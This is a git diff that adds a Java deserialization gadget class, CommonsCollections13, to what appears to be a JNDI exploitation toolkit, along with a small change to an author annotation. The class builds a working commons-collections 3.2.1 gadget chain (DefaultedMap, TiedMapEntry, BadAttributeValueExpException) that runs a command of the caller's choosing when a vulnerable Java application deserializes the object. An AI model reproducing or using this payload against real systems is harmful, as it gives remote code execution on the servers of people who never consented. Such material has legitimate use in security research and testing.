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diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections13.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections13.java
new file mode 100644
index 0000000..f23df80
--- /dev/null
+++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections13.java
@@ -0,0 +1,42 @@
+package com.qi4l.jndi.gadgets;
+
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import com.qi4l.jndi.gadgets.utils.Reflections;
+import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
+
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.DefaultedMap;
+
+import javax.management.BadAttributeValueExpException;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.Map;
+
+@Dependencies({"commons-collections:commons-collections:3.2.1"})
+@Authors({Authors.Jayl1n})
+public class CommonsCollections13 implements ObjectPayload<Object>{
+    @Override
+    public Object getObject(String command) throws Exception {
+        final Transformer transformerChain = new ChainedTransformer(
+                new Transformer[]{ new ConstantTransformer(1) });
+        final Transformer[] transformers = TransformerUtil.makeTransformer(command);
+        final Map innerMap = new HashMap();
+        final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
+
+        TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");
+
+        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
+        Field valfield = val.getClass().getDeclaredField("val");
+        valfield.setAccessible(true);
+        valfield.set(val, entry);
+
+        // arm with actual transformer chain
+        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
+
+        return val;
+    }
+}
diff --git a/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java b/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java
index 2c51bb9..f8294d0 100644
--- a/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java
+++ b/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java
@@ -46,6 +46,10 @@ public @interface Authors {
     String QI4L       = "QI4L";
     String PEIQIF4CK = "peiqiF4ck";
 
+    String Jayl1n = "Jayl1n";
+
+    String N1ght = "N1ght";
+
     String KILLER = "killer";
 
     String[] value() default {};